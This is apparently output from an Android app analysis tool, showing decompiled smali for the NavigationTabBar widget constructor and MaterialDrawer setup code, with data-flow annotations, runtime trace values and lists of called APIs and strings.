55iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->z:Landroid/graphics/Paint;
56new-instance v1, Landroid/graphics/Paint;
58invoke-direct {v1, v3}, Landroid/graphics/Paint;-><init>(I)V
  • Data flow analysis:
    • p0: 7
59iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->A:Landroid/graphics/Paint;
60new-instance v1, Landroid/graphics/Paint;
62invoke-direct {v1, v3}, Landroid/graphics/Paint;-><init>(I)V
  • Data flow analysis:
    • p0: 7
63iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->B:Landroid/graphics/Paint;
64new-instance v1, Ldevlight/io/library/ntb/NavigationTabBar$5;
66invoke-direct {v1, p0, v3}, Ldevlight/io/library/ntb/NavigationTabBar$5;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;I)V
  • Data flow analysis:
    • p1: 7
67iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->C:Landroid/graphics/Paint;
68new-instance v1, Ldevlight/io/library/ntb/NavigationTabBar$6;
70invoke-direct {v1, p0, v3}, Ldevlight/io/library/ntb/NavigationTabBar$6;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;I)V
  • Data flow analysis:
    • p1: 7
71iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->D:Landroid/graphics/Paint;
72new-instance v1, Ldevlight/io/library/ntb/NavigationTabBar$7;
74invoke-direct {v1, p0, v3}, Ldevlight/io/library/ntb/NavigationTabBar$7;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;I)V
  • Data flow analysis:
    • p1: 7
75iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->E:Landroid/graphics/Paint;
76new-instance v1, Landroid/animation/ValueAnimator;
78invoke-direct {v1}, Landroid/animation/ValueAnimator;-><init>()V
79iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->F:Landroid/animation/ValueAnimator;
80new-instance v1, Ldevlight/io/library/ntb/NavigationTabBar$e;
82invoke-direct {v1, p0}, Ldevlight/io/library/ntb/NavigationTabBar$e;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;)V
83iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->G:Ldevlight/io/library/ntb/NavigationTabBar$e;
84new-instance v1, Ljava/util/ArrayList;
86invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
87iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
88iput v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->S:F
89iput v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->V:F
90const/4 v1, -0x3
91iput v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ac:I
92const/4 v1, -0x3
93iput v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ad:I
94const/4 v1, -0x1
95iput v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ae:I
96const/4 v1, -0x1
97iput v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->af:I
99invoke-virtual {p0, v2}, Ldevlight/io/library/ntb/NavigationTabBar;->setWillNotDraw(Z)V
  • Data flow analysis:
    • willNotDraw: 0
101invoke-static {p0, v4, v0}, Landroid/support/v4/view/ah;->a(Landroid/view/View;ILandroid/graphics/Paint;)V
  • Data flow analysis:
    • p1: 1
    • p2: 0
103invoke-virtual {p0, v4, v0}, Ldevlight/io/library/ntb/NavigationTabBar;->setLayerType(ILandroid/graphics/Paint;)V
  • Data flow analysis:
    • p0: 1
    • p1: 0
105sget-object v1, Lcom/a/a/a$b;->NavigationTabBar:[I
107invoke-virtual {p1, p2, v1}, Landroid/content/Context;->obtainStyledAttributes(Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray;
108move-result-object v4
109try_start_b4: sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_titled:I
110const/4 v3, 0x0
112invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
  • Data flow analysis:
    • defValue: 0
113move-result v1
115invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setIsTitled(Z)V
116sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_badged:I
117const/4 v3, 0x0
119invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
  • Data flow analysis:
    • defValue: 0
120move-result v1
122invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setIsBadged(Z)V
123sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_scaled:I
124const/4 v3, 0x1
126invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
  • Data flow analysis:
    • defValue: 1
127move-result v1
129invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setIsScaled(Z)V
130sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_tinted:I
131const/4 v3, 0x1
133invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
  • Data flow analysis:
    • defValue: 1
134move-result v1
136invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setIsTinted(Z)V
137sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_swiped:I
138const/4 v3, 0x1
140invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
  • Data flow analysis:
    • defValue: 1
141move-result v1
143invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setIsSwiped(Z)V
144sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_title_size:I
145const/high16 v3, -0x40000000 # -2.0f
147invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getDimension(IF)F
148move-result v1
150invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setTitleSize(F)V
151sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_badge_use_typeface:I
152const/4 v3, 0x0
154invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
  • Data flow analysis:
    • defValue: 0
155move-result v1
157invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setIsBadgeUseTypeface(Z)V
158sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_title_mode:I
159const/4 v3, 0x0
161invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getInt(II)I
  • Data flow analysis:
    • defValue: 0
162move-result v1
164invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setTitleMode(I)V
165sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_badge_size:I
166const/high16 v3, -0x40000000 # -2.0f
168invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getDimension(IF)F
169move-result v1
171invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setBadgeSize(F)V
172sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_badge_position:I
173const/4 v3, 0x2
175invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getInt(II)I
  • Data flow analysis:
    • defValue: 2
176move-result v1
178invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setBadgePosition(I)V
179sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_badge_gravity:I
180const/4 v3, 0x0
182invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getInt(II)I
  • Data flow analysis:
    • defValue: 0
183move-result v1
185invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setBadgeGravity(I)V
186sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_badge_bg_color:I
187const/4 v3, -0x3
189invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getColor(II)I
190move-result v1
192invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setBadgeBgColor(I)V
193sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_badge_title_color:I
194const/4 v3, -0x3
196invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getColor(II)I
197move-result v1
199invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setBadgeTitleColor(I)V
200sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_typeface:I
202invoke-virtual {v4, v1}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String;
203move-result-object v1
205invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setTypeface(Ljava/lang/String;)V
  • Time: 63843
    • This:
      • devlight.io.library.ntb.NavigationTabBar{d13fc86 V.ED.... ......ID 0,0-0,0 #7f0f0091 app:id/ntb_horizontal}
    • p0: null
    • Return:
      • null
206sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_inactive_color:I
207sget v3, Ldevlight/io/library/ntb/NavigationTabBar;->a:I
209invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getColor(II)I
210move-result v1
212invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setInactiveColor(I)V
213sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_active_color:I
214const/4 v3, -0x1
216invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getColor(II)I
217move-result v1
219invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setActiveColor(I)V
220sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_bg_color:I
221sget v3, Ldevlight/io/library/ntb/NavigationTabBar;->b:I
223invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getColor(II)I
224move-result v1
226invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setBgColor(I)V
227sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_animation_duration:I
228const/16 v3, 0x12c
230invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getInteger(II)I
  • Data flow analysis:
    • defValue: 300
231move-result v1
233invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setAnimationDuration(I)V
234sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_corners_radius:I
235const/4 v3, 0x0
237invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getDimension(IF)F
  • Data flow analysis:
    • p1: 0
238move-result v1
240invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setCornersRadius(F)V
241sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_icon_size_fraction:I
242const/high16 v3, -0x3f800000 # -4.0f
244invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getFloat(IF)F
245move-result v1
247invoke-virtual {p0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setIconSizeFraction(F)V
249iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->F:Landroid/animation/ValueAnimator;
250const/4 v3, 0x2
251new-array v3, v3, [F
252fill-array-data v3, :array_24a
254invoke-virtual {v1, v3}, Landroid/animation/ValueAnimator;->setFloatValues([F)V
256iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->F:Landroid/animation/ValueAnimator;
257new-instance v3, Landroid/view/animation/LinearInterpolator;
259invoke-direct {v3}, Landroid/view/animation/LinearInterpolator;-><init>()V
261invoke-virtual {v1, v3}, Landroid/animation/ValueAnimator;->setInterpolator(Landroid/animation/TimeInterpolator;)V
263iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->F:Landroid/animation/ValueAnimator;
264new-instance v3, Ldevlight/io/library/ntb/NavigationTabBar$8;
266invoke-direct {v3, p0}, Ldevlight/io/library/ntb/NavigationTabBar$8;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;)V
268invoke-virtual {v1, v3}, Landroid/animation/ValueAnimator;->addUpdateListener(Landroid/animation/ValueAnimator$AnimatorUpdateListener;)V
270invoke-virtual {p0}, Ldevlight/io/library/ntb/NavigationTabBar;->isInEditMode()Z
  • Time: 63854
    • This:
      • devlight.io.library.ntb.NavigationTabBar{d13fc86 V.ED.... ......ID 0,0-0,0 #7f0f0091 app:id/ntb_horizontal}
    • Return:
      • false
271try_end_1a3: move-result v1
272if-eqz v1, :cond_1e2
273try_start_1a6: sget v1, Lcom/a/a/a$b;->NavigationTabBar_ntb_preview_colors:I
274const/4 v3, 0x0
276invoke-virtual {v4, v1, v3}, Landroid/content/res/TypedArray;->getResourceId(II)I
  • Data flow analysis:
    • defValue: 0
277try_end_1ac: move-result v1
278if-nez v1, :cond_1d6
279goto_1af: if-nez v0, :cond_1bb
280try_start_1b1:
281invoke-virtual {v4}, Landroid/content/res/TypedArray;->getResources()Landroid/content/res/Resources;
282move-result-object v0
283sget v1, Lcom/a/a/a$a;->default_preview:I
285invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
286move-result-object v0
287cond_1bb: array-length v1, v0
288goto_1bc: if-ge v2, v1, :cond_1df
289aget-object v3, v0, v2
291iget-object v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
292new-instance v6, Ldevlight/io/library/ntb/NavigationTabBar$c$a;
293const/4 v7, 0x0
295invoke-static {v3}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
296move-result v3
298invoke-direct {v6, v7, v3}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;-><init>(Landroid/graphics/drawable/Drawable;I)V
300invoke-virtual {v6}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a()Ldevlight/io/library/ntb/NavigationTabBar$c;
301move-result-object v3
303invoke-interface {v5, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
304try_end_1d3: add-int/lit8 v2, v2, 0x1
305goto/16 :goto_1bc
306cond_1d6:
307invoke-virtual {v4}, Landroid/content/res/TypedArray;->getResources()Landroid/content/res/Resources;
308move-result-object v3
310invoke-virtual {v3, v1}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
311try_end_1dd: move-result-object v0
312goto/16 :goto_1af
313try_start_1df:
314invoke-virtual {p0}, Ldevlight/io/library/ntb/NavigationTabBar;->requestLayout()V
315goto_1e2:
316invoke-virtual {v4}, Landroid/content/res/TypedArray;->recycle()V
317return-void
318catch_1e6: move-exception v1
319try_start_1e7:
320invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
321try_end_1ea: if-nez v0, :cond_1f6
322try_start_1ec:
323invoke-virtual {v4}, Landroid/content/res/TypedArray;->getResources()Landroid/content/res/Resources;
324move-result-object v0
325sget v1, Lcom/a/a/a$a;->default_preview:I
327invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
328move-result-object v0
329cond_1f6: array-length v1, v0
330goto_1f7: if-ge v2, v1, :cond_211
331aget-object v3, v0, v2
333iget-object v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
334new-instance v6, Ldevlight/io/library/ntb/NavigationTabBar$c$a;
335const/4 v7, 0x0
337invoke-static {v3}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
338move-result v3
340invoke-direct {v6, v7, v3}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;-><init>(Landroid/graphics/drawable/Drawable;I)V
342invoke-virtual {v6}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a()Ldevlight/io/library/ntb/NavigationTabBar$c;
343move-result-object v3
345invoke-interface {v5, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
346add-int/lit8 v2, v2, 0x1
347goto/16 :goto_1f7
348cond_211:
349invoke-virtual {p0}, Ldevlight/io/library/ntb/NavigationTabBar;->requestLayout()V
350try_end_214: goto/16 :goto_1e2
351catchall_215: move-exception v0
353invoke-virtual {v4}, Landroid/content/res/TypedArray;->recycle()V
354throw v0
355catchall_21a: move-exception v1
356if-nez v0, :cond_248
357try_start_21d:
358invoke-virtual {v4}, Landroid/content/res/TypedArray;->getResources()Landroid/content/res/Resources;
359move-result-object v0
360sget v3, Lcom/a/a/a$a;->default_preview:I
362invoke-virtual {v0, v3}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
363move-result-object v0
364move-object v3, v0
365goto_228: array-length v5, v3
366move v0, v2
367goto_22a: if-ge v0, v5, :cond_244
368aget-object v2, v3, v0
370iget-object v6, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
371new-instance v7, Ldevlight/io/library/ntb/NavigationTabBar$c$a;
372const/4 v8, 0x0
374invoke-static {v2}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
375move-result v2
377invoke-direct {v7, v8, v2}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;-><init>(Landroid/graphics/drawable/Drawable;I)V
379invoke-virtual {v7}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a()Ldevlight/io/library/ntb/NavigationTabBar$c;
380move-result-object v2
382invoke-interface {v6, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
383add-int/lit8 v0, v0, 0x1
384goto/16 :goto_22a
385cond_244:
386invoke-virtual {p0}, Ldevlight/io/library/ntb/NavigationTabBar;->requestLayout()V
387throw v1
388try_end_248: move-object v3, v0
389goto/16 :goto_228
Cross References
APIs
  • android.widget.LinearLayout$LayoutParams.<init>
  • com.mikepenz.materialize.view.ScrimInsetsRelativeLayout.addView
  • android.support.v4.view.ah.g
  • java.lang.Integer.intValue
  • android.support.v4.widget.DrawerLayout.setDrawerShadow
  • android.view.LayoutInflater.from
  • android.view.LayoutInflater.inflate
  • android.support.v7.widget.RecyclerView.findViewById
  • android.support.v7.widget.RecyclerView.setItemAnimator
  • android.support.v7.widget.RecyclerView.setFadingEdgeLength
  • android.support.v7.widget.RecyclerView.setClipToPadding
  • android.support.v7.widget.RecyclerView.setLayoutManager
  • java.lang.Boolean.booleanValue
  • android.app.Activity.getResources
  • android.content.res.Resources.getConfiguration
  • android.support.v7.widget.RecyclerView.setPadding
  • android.widget.LinearLayout$LayoutParams.<init>
  • com.mikepenz.materialize.view.ScrimInsetsRelativeLayout.addView
  • com.mikepenz.materialize.view.ScrimInsetsRelativeLayout.findViewById
  • android.view.View.setVisibility
  • android.view.View.bringToFront
  • java.lang.Integer.intValue
  • android.view.View.setBackgroundResource
  • com.mikepenz.materialize.view.ScrimInsetsRelativeLayout.setBackgroundColor
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.c
  • com.mikepenz.a.b.d
  • android.support.v7.widget.RecyclerView.setAdapter
  • com.mikepenz.a.b.g
  • com.mikepenz.a.b.j
  • com.mikepenz.a.b.a
  • android.support.v7.widget.RecyclerView.a
  • com.mikepenz.a.b.a
  • android.os.Bundle.getInt
  • com.mikepenz.a.b.c
  • java.util.Set.size
  • java.lang.Integer.intValue
  • android.support.v4.widget.DrawerLayout.setDrawerShadow
  • android.view.View.setBackgroundResource
  • android.support.v4.content.a.c
  • com.mikepenz.materialize.view.ScrimInsetsRelativeLayout.setBackgroundColor
  • android.support.v7.widget.RecyclerView.setAdapter
  • com.mikepenz.a.b.a
  • android.os.Bundle.getInt
  • com.mikepenz.a.b.c
  • java.util.Set.iterator
  • java.util.Iterator.next
  • java.lang.Integer.intValue
Strings
  • _selection
  • bundle_sticky_footer_selection
  • _selection_appended
  • bundle_sticky_footer_selection_appended
Position Instruction Meta Information
0.prologue
1const/4 v9, 0x0
2const v7, 0x800003
3const/4 v8, 0x1
4const/4 v4, -0x1
5const/4 v1, 0x0
7iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->o:Landroid/view/View;
8if-eqz v0, :cond_1c
9new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
11invoke-direct {v0, v4, v4}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
12const/high16 v1, 0x3f800000 # 1.0f
13iput v1, v0, Landroid/widget/LinearLayout$LayoutParams;->weight:F
15iget-object v1, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
17iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->o:Landroid/view/View;
19invoke-virtual {v1, v2, v0}, Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
20cond_1b: return-void
21cond_1c: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
22const/16 v2, 0x15
23if-ge v0, v2, :cond_43
25iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->p:Landroid/support/v4/widget/DrawerLayout;
26if-eqz v0, :cond_43
28iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->f:Landroid/view/ViewGroup;
30invoke-static {v0}, Landroid/support/v4/view/ah;->g(Landroid/view/View;)I
31move-result v0
32if-nez v0, :cond_1ae
34iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->p:Landroid/support/v4/widget/DrawerLayout;
36iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->w:Ljava/lang/Integer;
38invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
39move-result v0
40if-ne v0, v7, :cond_1aa
41sget v0, Lcom/mikepenz/materialdrawer/g$d;->material_drawer_shadow_right:I
42goto_3a:
43iget-object v3, p0, Lcom/mikepenz/materialdrawer/d;->w:Ljava/lang/Integer;
45invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
46move-result v3
48invoke-virtual {v2, v0, v3}, Landroid/support/v4/widget/DrawerLayout;->setDrawerShadow(II)V
49cond_43:
50iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
51if-nez v0, :cond_1c8
53iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
55invoke-static {v0}, Landroid/view/LayoutInflater;->from(Landroid/content/Context;)Landroid/view/LayoutInflater;
56move-result-object v0
57sget v2, Lcom/mikepenz/materialdrawer/g$f;->material_drawer_recycler_view:I
59iget-object v3, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
61invoke-virtual {v0, v2, v3, v1}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
62move-result-object v3
63sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_recycler_view:I
65invoke-virtual {v3, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64325
    • This:
      • android.support.v7.widget.RecyclerView{5dd8df7 VFED.VC. ......I. 0,0-0,0 #7f0f00c9 app:id/material_drawer_recycler_view}
    • p0: 2131689673
    • Return:
      • android.support.v7.widget.RecyclerView{5dd8df7 VFED.VC. ......I. 0,0-0,0 #7f0f00c9 app:id/material_drawer_recycler_view}
66move-result-object v0
67check-cast v0, Landroid/support/v7/widget/RecyclerView;
68iput-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
70iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
72iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->ac:Landroid/support/v7/widget/RecyclerView$e;
74invoke-virtual {v0, v2}, Landroid/support/v7/widget/RecyclerView;->setItemAnimator(Landroid/support/v7/widget/RecyclerView$e;)V
76iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
78invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView;->setFadingEdgeLength(I)V
80iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
82invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView;->setClipToPadding(Z)V
84iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
86iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->e:Landroid/support/v7/widget/RecyclerView$h;
88invoke-virtual {v0, v2}, Landroid/support/v7/widget/RecyclerView;->setLayoutManager(Landroid/support/v7/widget/RecyclerView$h;)V
90iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->i:Ljava/lang/Boolean;
91if-eqz v0, :cond_83
93iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->i:Ljava/lang/Boolean;
95invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
96move-result v0
97if-eqz v0, :cond_238
98cond_83: iget-boolean v0, p0, Lcom/mikepenz/materialdrawer/d;->n:Z
99if-nez v0, :cond_238
101iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
103invoke-static {v0}, Lcom/mikepenz/materialize/c/b;->c(Landroid/content/Context;)I
104move-result v0
105goto_8d:
106iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
108invoke-virtual {v2}, Landroid/app/Activity;->getResources()Landroid/content/res/Resources;
109move-result-object v2
111invoke-virtual {v2}, Landroid/content/res/Resources;->getConfiguration()Landroid/content/res/Configuration;
112move-result-object v2
113iget v2, v2, Landroid/content/res/Configuration;->orientation:I
114iget-boolean v5, p0, Lcom/mikepenz/materialdrawer/d;->k:Z
115if-nez v5, :cond_a1
116iget-boolean v5, p0, Lcom/mikepenz/materialdrawer/d;->m:Z
117if-eqz v5, :cond_235
118cond_a1: sget v5, Landroid/os/Build$VERSION;->SDK_INT:I
119const/16 v6, 0x15
120if-lt v5, v6, :cond_235
121iget-boolean v5, p0, Lcom/mikepenz/materialdrawer/d;->n:Z
122if-nez v5, :cond_235
123if-eq v2, v8, :cond_b8
124const/4 v5, 0x2
125if-ne v2, v5, :cond_235
127iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
129invoke-static {v2}, Lcom/mikepenz/materialdrawer/e/c;->c(Landroid/content/Context;)Z
130move-result v2
131if-eqz v2, :cond_235
132cond_b8:
133iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
135invoke-static {v2}, Lcom/mikepenz/materialize/c/b;->a(Landroid/content/Context;)I
136move-result v2
137goto_be:
138iget-object v5, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
140invoke-virtual {v5, v1, v0, v1, v2}, Landroid/support/v7/widget/RecyclerView;->setPadding(IIII)V
141move-object v0, v3
142goto_c4: new-instance v2, Landroid/widget/LinearLayout$LayoutParams;
144invoke-direct {v2, v4, v4}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
145const/high16 v3, 0x3f800000 # 1.0f
146iput v3, v2, Landroid/widget/LinearLayout$LayoutParams;->weight:F
148iget-object v3, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
150invoke-virtual {v3, v0, v2}, Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
151iget-boolean v0, p0, Lcom/mikepenz/materialdrawer/d;->aq:Z
152if-eqz v0, :cond_f1
154iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
155sget v2, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_inner_shadow:I
157invoke-virtual {v0, v2}, Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;->findViewById(I)Landroid/view/View;
158move-result-object v0
160invoke-virtual {v0, v1}, Landroid/view/View;->setVisibility(I)V
162invoke-virtual {v0}, Landroid/view/View;->bringToFront()V
164iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->w:Ljava/lang/Integer;
166invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
167move-result v2
168if-ne v2, v7, :cond_1cc
169sget v2, Lcom/mikepenz/materialdrawer/g$d;->material_drawer_shadow_left:I
171invoke-virtual {v0, v2}, Landroid/view/View;->setBackgroundResource(I)V
172cond_f1: iget v0, p0, Lcom/mikepenz/materialdrawer/d;->r:I
173if-eqz v0, :cond_1d3
175iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
176iget v2, p0, Lcom/mikepenz/materialdrawer/d;->r:I
178invoke-virtual {v0, v2}, Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;->setBackgroundColor(I)V
179cond_fc:
180invoke-static {p0}, Lcom/mikepenz/materialdrawer/e;->a(Lcom/mikepenz/materialdrawer/d;)V
181new-instance v0, Lcom/mikepenz/materialdrawer/d$5;
183invoke-direct {v0, p0}, Lcom/mikepenz/materialdrawer/d$5;-><init>(Lcom/mikepenz/materialdrawer/d;)V
185invoke-static {p0, v0}, Lcom/mikepenz/materialdrawer/e;->a(Lcom/mikepenz/materialdrawer/d;Landroid/view/View$OnClickListener;)V
187iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
188iget-boolean v2, p0, Lcom/mikepenz/materialdrawer/d;->R:Z
190invoke-virtual {v0, v2}, Lcom/mikepenz/a/b;->a(Z)Lcom/mikepenz/a/b;
191iget-boolean v0, p0, Lcom/mikepenz/materialdrawer/d;->R:Z
192if-eqz v0, :cond_11c
194iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
196invoke-virtual {v0, v1}, Lcom/mikepenz/a/b;->c(Z)Lcom/mikepenz/a/b;
198iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
